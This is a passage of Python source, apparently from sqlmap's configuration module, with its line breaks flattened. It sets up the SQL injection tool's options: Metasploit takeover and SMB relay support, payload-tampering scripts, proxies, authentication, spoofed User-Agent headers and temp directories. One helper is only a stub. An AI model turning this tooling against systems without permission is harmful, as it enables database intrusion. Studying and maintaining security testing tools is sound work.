findPageForms(page, target, False, True): found = True if conf.verbose in (1, 2): status = '%d/%d links visited (%d%%)' % (i + 1, len(targets), round(100.0 * (i + 1) / len(targets))) dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True) except KeyboardInterrupt: break except Exception as ex: errMsg = "problem occurred while searching for forms at '%s' ('%s')" % (target, getSafeExString(ex)) logger.error(errMsg) if not found: warnMsg = "no forms found" logger.warning(warnMsg) def _setDBMSAuthentication(): """ Check and set the DBMS authentication credentials to run statements as another user, not the session user """ if not conf.dbmsCred: return debugMsg = "setting the DBMS authentication credentials" logger.debug(debugMsg) match = re.search(r"^(.+?):(.*?)$", conf.dbmsCred) if not match: errMsg = "DBMS authentication credentials value must be in format " errMsg += "username:password" raise SqlmapSyntaxException(errMsg) conf.dbmsUsername = match.group(1) conf.dbmsPassword = match.group(2) def _setMetasploit(): if not conf.osPwn and not conf.osSmb and not conf.osBof: return debugMsg = "setting the takeover out-of-band functionality" logger.debug(debugMsg) msfEnvPathExists = False if IS_WIN: try: __import__("win32file") except ImportError: errMsg = "sqlmap requires third-party module 'pywin32' " errMsg += "in order to use Metasploit functionalities on " errMsg += "Windows. You can download it from " errMsg += "'https://github.com/mhammond/pywin32'" raise SqlmapMissingDependence(errMsg) if not conf.msfPath: for candidate in os.environ.get("PATH", "").split(';'): if all(_ in candidate for _ in ("metasploit", "bin")): conf.msfPath = os.path.dirname(candidate.rstrip('\\')) break if conf.osSmb: isAdmin = runningAsAdmin() if not isAdmin: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to perform a SMB relay attack because " errMsg += "it will need to listen on a user-specified SMB " errMsg += "TCP port for incoming connection attempts" raise SqlmapMissingPrivileges(errMsg) if conf.msfPath: for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")): if any(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfcli", "msfconsole")): msfEnvPathExists = True if all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfvenom",)): kb.oldMsf = False elif all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfencode", "msfpayload")): kb.oldMsf = True else: msfEnvPathExists = False conf.msfPath = path break if msfEnvPathExists: debugMsg = "provided Metasploit Framework path " debugMsg += "'%s' is valid" % conf.msfPath logger.debug(debugMsg) else: warnMsg = "the provided Metasploit Framework path " warnMsg += "'%s' is not valid. The cause could " % conf.msfPath warnMsg += "be that the path does not exists or that one " warnMsg += "or more of the needed Metasploit executables " warnMsg += "within msfcli, msfconsole, msfencode and " warnMsg += "msfpayload do not exist" logger.warning(warnMsg) else: warnMsg = "you did not provide the local path where Metasploit " warnMsg += "Framework is installed" logger.warning(warnMsg) if not msfEnvPathExists: warnMsg = "sqlmap is going to look for Metasploit Framework " warnMsg += "installation inside the environment path(s)" logger.warning(warnMsg) envPaths = os.environ.get("PATH", "").split(";" if IS_WIN else ":") for envPath in envPaths: envPath = envPath.replace(";", "") if any(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfcli", "msfconsole")): msfEnvPathExists = True if all(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfvenom",)): kb.oldMsf = False elif all(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfencode", "msfpayload")): kb.oldMsf = True else: msfEnvPathExists = False if msfEnvPathExists: infoMsg = "Metasploit Framework has been found " infoMsg += "installed in the '%s' path" % envPath logger.info(infoMsg) conf.msfPath = envPath break if not msfEnvPathExists: errMsg = "unable to locate Metasploit Framework installation. " errMsg += "You can get it at 'https://www.metasploit.com/download/'" raise SqlmapFilePathException(errMsg) def _setWriteFile(): if not conf.fileWrite: return debugMsg = "setting the write file functionality" logger.debug(debugMsg) if not os.path.exists(conf.fileWrite): errMsg = "the provided local file '%s' does not exist" % conf.fileWrite raise SqlmapFilePathException(errMsg) if not conf.fileDest: errMsg = "you did not provide the back-end DBMS absolute path " errMsg += "where you want to write the local file '%s'" % conf.fileWrite raise SqlmapMissingMandatoryOptionException(errMsg) conf.fileWriteType = getFileType(conf.fileWrite) def _setOS(): """ Force the back-end DBMS operating system option. """ if not conf.os: return if conf.os.lower() not in SUPPORTED_OS: errMsg = "you provided an unsupported back-end DBMS operating " errMsg += "system. The supported DBMS operating systems for OS " errMsg += "and file system access are %s. " % ', '.join([o.capitalize() for o in SUPPORTED_OS]) errMsg += "If you do not know the back-end DBMS underlying OS, " errMsg += "do not provide it and sqlmap will fingerprint it for " errMsg += "you." raise SqlmapUnsupportedDBMSException(errMsg) debugMsg = "forcing back-end DBMS operating system to user defined " debugMsg += "value '%s'" % conf.os logger.debug(debugMsg) Backend.setOs(conf.os) def _setTechnique(): validTechniques = sorted(getPublicTypeMembers(PAYLOAD.TECHNIQUE), key=lambda x: x[1]) validLetters = [_[0][0].upper() for _ in validTechniques] if conf.technique and isinstance(conf.technique, six.string_types): _ = [] for letter in conf.technique.upper(): if letter not in validLetters: errMsg = "value for --technique must be a string composed " errMsg += "by the letters %s. Refer to the " % ", ".join(validLetters) errMsg += "user's manual for details" raise SqlmapSyntaxException(errMsg) for validTech, validInt in validTechniques: if letter == validTech[0]: _.append(validInt) break conf.technique = _ def _setDBMS(): """ Force the back-end DBMS option. """ if not conf.dbms: return debugMsg = "forcing back-end DBMS to user defined value" logger.debug(debugMsg) conf.dbms = conf.dbms.lower() regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join(SUPPORTED_DBMS)), conf.dbms, re.I) if regex: conf.dbms = regex.group(1) Backend.setVersion(regex.group(2)) if conf.dbms not in SUPPORTED_DBMS: errMsg = "you provided an unsupported back-end database management " errMsg += "system. Supported DBMSes are as follows: %s. " % ', '.join(sorted((_ for _ in (list(DBMS_DICT) + getPublicTypeMembers(FORK, True))), key=str.lower)) errMsg += "If you do not know the back-end DBMS, do not provide " errMsg += "it and sqlmap will fingerprint it for you." raise SqlmapUnsupportedDBMSException(errMsg) for dbms, aliases in DBMS_ALIASES: if conf.dbms in aliases: conf.dbms = dbms break def _listTamperingFunctions(): """ Lists available tamper functions """ if conf.listTampers: infoMsg = "listing available tamper scripts\n" logger.info(infoMsg) for script in sorted(glob.glob(os.path.join(paths.SQLMAP_TAMPER_PATH, "*.py"))): content = openFile(script, "rb").read() match = re.search(r'(?s)__priority__.+"""(.+)"""', content) if match: comment = match.group(1).strip() dataToStdout("* %s - %s\n" % (setColor(os.path.basename(script), "yellow"), re.sub(r" *\n *", " ", comment.split("\n\n")[0].strip()))) def _setTamperingFunctions(): """ Loads tampering functions from given script(s) """ if conf.tamper: last_priority = PRIORITY.HIGHEST check_priority = True resolve_priorities = False priorities = [] for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper): found = False path = safeFilepathEncode(paths.SQLMAP_TAMPER_PATH) script = safeFilepathEncode(script.strip()) try: if not script: continue elif os.path.exists(os.path.join(path, script if script.endswith(".py") else "%s.py" % script)): script = os.path.join(path, script if script.endswith(".py") else "%s.py" % script) elif not os.path.exists(script): errMsg = "tamper script '%s' does not exist" % script raise SqlmapFilePathException(errMsg) elif not script.endswith(".py"): errMsg = "tamper script '%s' should have an extension '.py'" % script raise SqlmapSyntaxException(errMsg) except UnicodeDecodeError: errMsg = "invalid character provided in option '--tamper'" raise SqlmapSyntaxException(errMsg) dirname, filename = os.path.split(script) dirname = os.path.abspath(dirname) infoMsg = "loading tamper module '%s'" % filename[:-3] logger.info(infoMsg) if not os.path.exists(os.path.join(dirname, "__init__.py")): errMsg = "make sure that there is an empty file '__init__.py' " errMsg += "inside of tamper scripts directory '%s'" % dirname raise SqlmapGenericException(errMsg) if dirname not in sys.path: sys.path.insert(0, dirname) try: module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ priority = priority if priority is not None else PRIORITY.LOWEST for name, function in inspect.getmembers(module, inspect.isfunction): if name == "tamper" and (hasattr(inspect, "signature") and all(_ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs"): found = True kb.tamperFunctions.append(function) function.__name__ = module.__name__ if check_priority and priority > last_priority: message = "it appears that you might have mixed " message += "the order of tamper scripts. " message += "Do you want to auto resolve this? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'N': resolve_priorities = False elif choice == 'Q': raise SqlmapUserQuitException else: resolve_priorities = True check_priority = False priorities.append((priority, function)) last_priority = priority break elif name == "dependencies": try: function() except Exception as ex: errMsg = "error occurred while checking dependencies " errMsg += "for tamper module '%s' ('%s')" % (getUnicode(filename[:-3]), getSafeExString(ex)) raise SqlmapGenericException(errMsg) if not found: errMsg = "missing function 'tamper(payload, **kwargs)' " errMsg += "in tamper script '%s'" % script raise SqlmapGenericException(errMsg) if kb.tamperFunctions and len(kb.tamperFunctions) > 3: warnMsg = "using too many tamper scripts is usually not " warnMsg += "a good idea" logger.warning(warnMsg) if resolve_priorities and priorities: priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True) kb.tamperFunctions = [] for _, function in priorities: kb.tamperFunctions.append(function) def _setPreprocessFunctions(): """ Loads preprocess function(s) from given script(s) """ if conf.preprocess: for script in re.split(PARAMETER_SPLITTING_REGEX, conf.preprocess): found = False function = None script = safeFilepathEncode(script.strip()) try: if not script: continue if not os.path.exists(script): errMsg = "preprocess script '%s' does not exist" % script raise SqlmapFilePathException(errMsg) elif not script.endswith(".py"): errMsg = "preprocess script '%s' should have an extension '.py'" % script raise SqlmapSyntaxException(errMsg) except UnicodeDecodeError: errMsg = "invalid character provided in option '--preprocess'" raise SqlmapSyntaxException(errMsg) dirname, filename = os.path.split(script) dirname = os.path.abspath(dirname) infoMsg = "loading preprocess module '%s'" % filename[:-3] logger.info(infoMsg) if not os.path.exists(os.path.join(dirname, "__init__.py")): errMsg = "make sure that there is an empty file '__init__.py' " errMsg += "inside of preprocess scripts directory '%s'" % dirname raise SqlmapGenericException(errMsg) if dirname not in sys.path: sys.path.insert(0, dirname) try: module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) for name, function in inspect.getmembers(module, inspect.isfunction): try: if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)): found = True kb.preprocessFunctions.append(function) function.__name__ = module.__name__ break except ValueError: # Note: https://github.com/sqlmapproject/sqlmap/issues/4357 pass if not found: errMsg = "missing function 'preprocess(req)' " errMsg += "in preprocess script '%s'" % script raise SqlmapGenericException(errMsg) else: try: function(_urllib.request.Request("http://localhost")) except Exception as ex: tbMsg = traceback.format_exc() if conf.debug: dataToStdout(tbMsg) handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") os.close(handle) openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(req):\n pass\n") openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass") errMsg = "function 'preprocess(req)' " errMsg += "in preprocess script '%s' " % script errMsg += "had issues in a test run ('%s'). " % getSafeExString(ex) errMsg += "You can find a template script at '%s'" % filename raise SqlmapGenericException(errMsg) def _setPostprocessFunctions(): """ Loads postprocess function(s) from given script(s) """ if conf.postprocess: for script in re.split(PARAMETER_SPLITTING_REGEX, conf.postprocess): found = False function = None script = safeFilepathEncode(script.strip()) try: if not script: continue if not os.path.exists(script): errMsg = "postprocess script '%s' does not exist" % script raise SqlmapFilePathException(errMsg) elif not script.endswith(".py"): errMsg = "postprocess script '%s' should have an extension '.py'" % script raise SqlmapSyntaxException(errMsg) except UnicodeDecodeError: errMsg = "invalid character provided in option '--postprocess'" raise SqlmapSyntaxException(errMsg) dirname, filename = os.path.split(script) dirname = os.path.abspath(dirname) infoMsg = "loading postprocess module '%s'" % filename[:-3] logger.info(infoMsg) if not os.path.exists(os.path.join(dirname, "__init__.py")): errMsg = "make sure that there is an empty file '__init__.py' " errMsg += "inside of postprocess scripts directory '%s'" % dirname raise SqlmapGenericException(errMsg) if dirname not in sys.path: sys.path.insert(0, dirname) try: module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) for name, function in inspect.getmembers(module, inspect.isfunction): if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")): found = True kb.postprocessFunctions.append(function) function.__name__ = module.__name__ break if not found: errMsg = "missing function 'postprocess(page, headers=None, code=None)' " errMsg += "in postprocess script '%s'" % script raise SqlmapGenericException(errMsg) else: try: _, _, _ = function("", {}, None) except: handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") os.close(handle) openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n") openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass") errMsg = "function 'postprocess(page, headers=None, code=None)' " errMsg += "in postprocess script '%s' " % script errMsg += "should return a tuple '(page, headers, code)' " errMsg += "(Note: find template script at '%s')" % filename raise SqlmapGenericException(errMsg) def _setThreads(): if not isinstance(conf.threads, int) or conf.threads <= 0: conf.threads = 1 def _setDNSCache(): """ Makes a cached version of socket._getaddrinfo to avoid subsequent DNS requests. """ def _getaddrinfo(*args, **kwargs): if args in kb.cache.addrinfo: return kb.cache.addrinfo[args] else: kb.cache.addrinfo[args] = socket._getaddrinfo(*args, **kwargs) return kb.cache.addrinfo[args] if not hasattr(socket, "_getaddrinfo"): socket._getaddrinfo = socket.getaddrinfo socket.getaddrinfo = _getaddrinfo def _setSocketPreConnect(): """ Makes a pre-connect version of socket.create_connection """ if conf.disablePrecon: return def _thread(): while kb.get("threadContinue") and not conf.get("disablePrecon"): try: for key in socket._ready: if len(socket._ready[key]) < SOCKET_PRE_CONNECT_QUEUE_SIZE: s = socket.create_connection(*key[0], **dict(key[1])) with kb.locks.socket: socket._ready[key].append((s, time.time())) except KeyboardInterrupt: break except: pass finally: time.sleep(0.01) def create_connection(*args, **kwargs): retVal = None key = (tuple(args), frozenset(kwargs.items())) with kb.locks.socket: if key not in socket._ready: socket._ready[key] = [] while len(socket._ready[key]) > 0: candidate, created = socket._ready[key].pop(0) if (time.time() - created) < PRECONNECT_CANDIDATE_TIMEOUT: retVal = candidate break else: try: candidate.shutdown(socket.SHUT_RDWR) candidate.close() except socket.error: pass if not retVal: retVal = socket._create_connection(*args, **kwargs) return retVal if not hasattr(socket, "_create_connection"): socket._ready = {} socket._create_connection = socket.create_connection socket.create_connection = create_connection thread = threading.Thread(target=_thread) setDaemon(thread) thread.start() def _setHTTPHandlers(): """ Check and set the HTTP/SOCKS proxy for all HTTP requests. """ with kb.locks.handlers: if conf.proxyList: conf.proxy = conf.proxyList[0] conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1] if len(conf.proxyList) > 1: infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy logger.info(infoMsg) elif not conf.proxy: if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy: proxyHandler.proxies = {} if conf.proxy: debugMsg = "setting the HTTP/SOCKS proxy for all HTTP requests" logger.debug(debugMsg) try: _ = _urllib.parse.urlsplit(conf.proxy) except Exception as ex: errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) hostnamePort = _.netloc.rsplit(":", 1) scheme = _.scheme.upper() hostname = hostnamePort[0] port = None username = None password = None if len(hostnamePort) == 2: try: port = int(hostnamePort[1]) except: pass # drops into the next check block if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)): errMsg = "proxy value must be in format '(%s)://address:port'" % "|".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE)) raise SqlmapSyntaxException(errMsg) if conf.proxyCred: _ = re.search(r"\A(.*?):(.*?)\Z", conf.proxyCred) if not _: errMsg = "proxy authentication credentials " errMsg += "value must be in format username:password" raise SqlmapSyntaxException(errMsg) else: username = _.group(1) password = _.group(2) if scheme in (PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5): proxyHandler.proxies = {} if scheme == PROXY_TYPE.SOCKS4: warnMsg = "SOCKS4 does not support resolving (DNS) names (i.e. causing DNS leakage)" singleTimeWarnMessage(warnMsg) socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password) socks.wrapmodule(_http_client) else: socks.unwrapmodule(_http_client) if conf.proxyCred: # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection proxyString = "%s@" % conf.proxyCred else: proxyString = "" proxyString += "%s:%d" % (hostname, port) proxyHandler.proxies = kb.proxies = {"http": proxyString, "https": proxyString} proxyHandler.__init__(proxyHandler.proxies) if not proxyHandler.proxies: for _ in ("http", "https"): if hasattr(proxyHandler, "%s_open" % _): delattr(proxyHandler, "%s_open" % _) debugMsg = "creating HTTP requests opener object" logger.debug(debugMsg) handlers = filterNone([multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler]) if not conf.dropSetCookie: if not conf.loadCookies: conf.cj = _http_cookiejar.CookieJar() else: conf.cj = _http_cookiejar.MozillaCookieJar() resetCookieJar(conf.cj) handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj)) # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html if conf.keepAlive: warnMsg = "persistent HTTP(s) connections, Keep-Alive, has " warnMsg += "been disabled because of its incompatibility " if conf.proxy: warnMsg += "with HTTP(s) proxy" logger.warning(warnMsg) elif conf.authType: warnMsg += "with authentication methods" logger.warning(warnMsg) else: handlers.append(keepAliveHandler) opener = _urllib.request.build_opener(*handlers) opener.addheaders = [] # Note: clearing default "User-Agent: Python-urllib/X.Y" _urllib.request.install_opener(opener) def _setSafeVisit(): """ Check and set the safe visit options. """ if not any((conf.safeUrl, conf.safeReqFile)): return if conf.safeReqFile: checkFile(conf.safeReqFile) raw = readCachedFileContent(conf.safeReqFile) match = re.search(r"\A([A-Z]+) ([^ ]+) HTTP/[0-9.]+\Z", raw.split('\n')[0].strip()) if match: kb.safeReq.method = match.group(1) kb.safeReq.url = match.group(2) kb.safeReq.headers = {} for line in raw.split('\n')[1:]: line = line.strip() if line and ':' in line: key, value = line.split(':', 1) value = value.strip() kb.safeReq.headers[key] = value if key.upper() == HTTP_HEADER.HOST.upper(): if not value.startswith("http"): scheme = "http" if value.endswith(":443"): scheme = "https" value = "%s://%s" % (scheme, value) kb.safeReq.url = _urllib.parse.urljoin(value, kb.safeReq.url) else: break post = None if '\r\n\r\n' in raw: post = raw[raw.find('\r\n\r\n') + 4:] elif '\n\n' in raw: post = raw[raw.find('\n\n') + 2:] if post and post.strip(): kb.safeReq.post = post else: kb.safeReq.post = None else: errMsg = "invalid format of a safe request file" raise SqlmapSyntaxException(errMsg) else: if not re.search(r"(?i)\Ahttp[s]*://", conf.safeUrl): if ":443/" in conf.safeUrl: conf.safeUrl = "https://%s" % conf.safeUrl else: conf.safeUrl = "http://%s" % conf.safeUrl if (conf.safeFreq or 0) <= 0: errMsg = "please provide a valid value (>0) for safe frequency ('--safe-freq') while using safe visit features" raise SqlmapSyntaxException(errMsg) def _setPrefixSuffix(): if conf.prefix is not None and conf.suffix is not None: # Create a custom boundary object for user's supplied prefix # and suffix boundary = AttribDict() boundary.level = 1 boundary.clause = [0] boundary.where = [1, 2, 3] boundary.prefix = conf.prefix boundary.suffix = conf.suffix if " like" in boundary.suffix.lower(): if "'" in boundary.suffix.lower(): boundary.ptype = 3 elif '"' in boundary.suffix.lower(): boundary.ptype = 5 elif "'" in boundary.suffix: boundary.ptype = 2 elif '"' in boundary.suffix: boundary.ptype = 4 else: boundary.ptype = 1 # user who provides --prefix/--suffix does not want other boundaries # to be tested for conf.boundaries = [boundary] def _setAuthCred(): """ Adds authentication credentials (if any) for current target to the password manager (used by connection handler) """ if kb.passwordMgr and all(_ is not None for _ in (conf.scheme, conf.hostname, conf.port, conf.authUsername, conf.authPassword)): kb.passwordMgr.add_password(None, "%s://%s:%d" % (conf.scheme, conf.hostname, conf.port), conf.authUsername, conf.authPassword) def _setHTTPAuthentication(): """ Check and set the HTTP(s) authentication method (Basic, Digest, Bearer, NTLM or PKI), username and password for first three methods, or PEM private key file for PKI authentication """ global authHandler if not conf.authType and not conf.authCred and not conf.authFile: return if conf.authFile and not conf.authType: conf.authType = AUTH_TYPE.PKI elif conf.authType and not conf.authCred and not conf.authFile: errMsg = "you specified the HTTP authentication type, but " errMsg += "did not provide the credentials" raise SqlmapSyntaxException(errMsg) elif not conf.authType and conf.authCred: errMsg = "you specified the HTTP authentication credentials, " errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")" raise SqlmapSyntaxException(errMsg) elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.BEARER, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): errMsg = "HTTP authentication type value must be " errMsg += "Basic, Digest, Bearer, NTLM or PKI" raise SqlmapSyntaxException(errMsg) if not conf.authFile: debugMsg = "setting the HTTP authentication type and credentials" logger.debug(debugMsg) authType = conf.authType.lower() if authType in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST): regExp = "^(.*?):(.*?)$" errMsg = "HTTP %s authentication credentials " % authType errMsg += "value must be in format 'username:password'" elif authType == AUTH_TYPE.BEARER: conf.httpHeaders.append((HTTP_HEADER.AUTHORIZATION, "Bearer %s" % conf.authCred.strip())) return elif authType == AUTH_TYPE.NTLM: regExp = "^(.*\\\\.*):(.*?)$" errMsg = "HTTP NTLM authentication credentials value must " errMsg += "be in format 'DOMAIN\\username:password'" elif authType == AUTH_TYPE.PKI: errMsg = "HTTP PKI authentication require " errMsg += "usage of option `--auth-file`" raise SqlmapSyntaxException(errMsg) aCredRegExp = re.search(regExp, conf.authCred) if not aCredRegExp: raise SqlmapSyntaxException(errMsg) conf.authUsername = aCredRegExp.group(1) conf.authPassword = aCredRegExp.group(2) kb.passwordMgr = _urllib.request.HTTPPasswordMgrWithDefaultRealm() _setAuthCred() if authType == AUTH_TYPE.BASIC: authHandler = SmartHTTPBasicAuthHandler(kb.passwordMgr) elif authType == AUTH_TYPE.DIGEST: authHandler = _urllib.request.HTTPDigestAuthHandler(kb.passwordMgr) elif authType == AUTH_TYPE.NTLM: try: from ntlm import HTTPNtlmAuthHandler except ImportError: errMsg = "sqlmap requires Python NTLM third-party library " errMsg += "in order to authenticate via NTLM. Download from " errMsg += "'https://github.com/mullender/python-ntlm'" raise SqlmapMissingDependence(errMsg) authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) else: debugMsg = "setting the HTTP(s) authentication PEM private key" logger.debug(debugMsg) _ = safeExpandUser(conf.authFile) checkFile(_) authHandler = HTTPSPKIAuthHandler(_) def _setHTTPExtraHeaders(): if conf.headers: debugMsg = "setting extra HTTP headers" logger.debug(debugMsg) if "\n" in conf.headers: conf.headers = conf.headers.replace("\r\n", "\n").split("\n") elif "\\n" in conf.headers: conf.headers = conf.headers.replace("\\r\\n", "\\n").split("\\n") for headerValue in conf.headers: if not headerValue.strip(): continue if headerValue.count(':') >= 1: header, value = (_.lstrip() for _ in headerValue.split(":", 1)) if header and value: conf.httpHeaders.append((header, value)) elif headerValue.startswith('@'): checkFile(headerValue[1:]) kb.headersFile = headerValue[1:] else: errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u') raise SqlmapSyntaxException(errMsg) elif not conf.requestFile and len(conf.httpHeaders or []) < 2: if conf.encoding: conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "%s;q=0.7,*;q=0.1" % conf.encoding)) # Invalidating any caching mechanism in between # Reference: http://stackoverflow.com/a/1383359 conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache")) def _setHTTPUserAgent(): """ Set the HTTP User-Agent header. Depending on the user options it can be: * The default sqlmap string * A default value read as user option * A random value read from a list of User-Agent headers from a file choosed as user option """ debugMsg = "setting the HTTP User-Agent header" logger.debug(debugMsg) if conf.mobile: if conf.randomAgent: _ = random.sample([_[1] for _ in getPublicTypeMembers(MOBILES, True)], 1)[0] conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _)) else: message = "which smartphone do you want sqlmap to imitate " message += "through HTTP User-Agent header?\n" items = sorted(getPublicTypeMembers(MOBILES, True)) for count in xrange(len(items)): item = items[count] message += "[%d] %s%s\n" % (count + 1, item[0], " (default)" if item == MOBILES.IPHONE else "") test = readInput(message.rstrip('\n'), default=items.index(MOBILES.IPHONE) + 1) try: item = items[int(test) - 1] except: item = MOBILES.IPHONE conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, item[1])) elif conf.agent: conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, conf.agent)) elif not conf.randomAgent: _ = True for header, _ in conf.httpHeaders: if header.upper() == HTTP_HEADER.USER_AGENT.upper(): _ = False break if _: conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT)) else: userAgent = fetchRandomAgent() infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent infoMsg += "file '%s'" % paths.USER_AGENTS logger.info(infoMsg) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent)) def _setHTTPReferer(): """ Set the HTTP Referer """ if conf.referer: debugMsg = "setting the HTTP Referer header" logger.debug(debugMsg) conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.referer)) def _setHTTPHost(): """ Set the HTTP Host """ if conf.host: debugMsg = "setting the HTTP Host header" logger.debug(debugMsg) conf.httpHeaders.append((HTTP_HEADER.HOST, conf.host)) def _setHTTPCookies(): """ Set the HTTP Cookie header """ if conf.cookie: debugMsg = "setting the HTTP Cookie header" logger.debug(debugMsg) conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie)) def _setHostname(): """ Set value conf.hostname """ if conf.url: try: conf.hostname = _urllib.parse.urlsplit(conf.url).netloc.split(':')[0] except ValueError as ex: errMsg = "problem occurred while " errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex)) raise SqlmapDataException(errMsg) def _setHTTPTimeout(): """ Set the HTTP timeout """ if conf.timeout: debugMsg = "setting the HTTP timeout" logger.debug(debugMsg) conf.timeout = float(conf.timeout) if conf.timeout < 3.0: warnMsg = "the minimum HTTP timeout is 3 seconds, sqlmap " warnMsg += "will going to reset it" logger.warning(warnMsg) conf.timeout = 3.0 else: conf.timeout = 30.0 try: socket.setdefaulttimeout(conf.timeout) except OverflowError as ex: raise SqlmapValueException("invalid value used for option '--timeout' ('%s')" % getSafeExString(ex)) def _checkDependencies(): """ Checks for missing dependencies. """ if conf.dependencies: checkDependencies() def _createHomeDirectories(): """ Creates directories inside sqlmap's home directory """ if conf.get("purge"): return for context in ("output", "history"): directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()] # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363 try: if not os.path.isdir(directory): os.makedirs(directory) _ = os.path.join(directory, randomStr()) open(_, "w+b").close() os.remove(_) if conf.get("outputDir") and context == "output": warnMsg = "using '%s' as the %s directory" % (directory, context) logger.warning(warnMsg) except (OSError, IOError) as ex: tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context) warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context) warnMsg += "'%s' (%s). " % (directory, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) logger.warning(warnMsg) paths["SQLMAP_%s_PATH" % context.upper()] = tempDir def _pympTempLeakPatch(tempDir): # Cross-referenced function raise NotImplementedError def _createTemporaryDirectory(): """ Creates temporary directory for this run. """ if conf.tmpDir: try: if not os.path.isdir(conf.tmpDir): os.makedirs(conf.tmpDir) _ = os.path.join(conf.tmpDir, randomStr()) open(_, "w+b").close() os.remove(_) tempfile.tempdir = conf.tmpDir warnMsg = "using '%s' as the temporary directory" % conf.tmpDir logger.warning(warnMsg) except (OSError, IOError) as ex: errMsg = "there has been a problem while accessing " errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex) raise SqlmapSystemException(errMsg) else: try: if not os.path.isdir(tempfile.gettempdir()): os.makedirs(tempfile.gettempdir()) except Exception as ex: warnMsg = "there has been a problem while accessing " warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex) warnMsg += "make sure that there is enough disk space left. If problem persists, " warnMsg += "try to set environment variable 'TEMP' to a location " warnMsg += "writeable by the current user" logger.warning(warnMsg) if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir: try: tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid())) except: tempfile.tempdir = os.path.join(paths.SQLMAP_HOME_PATH, "tmp", "sqlmap%s%d" % (randomStr(6), os.getpid())) kb.tempDir = tempfile.tempdir if not 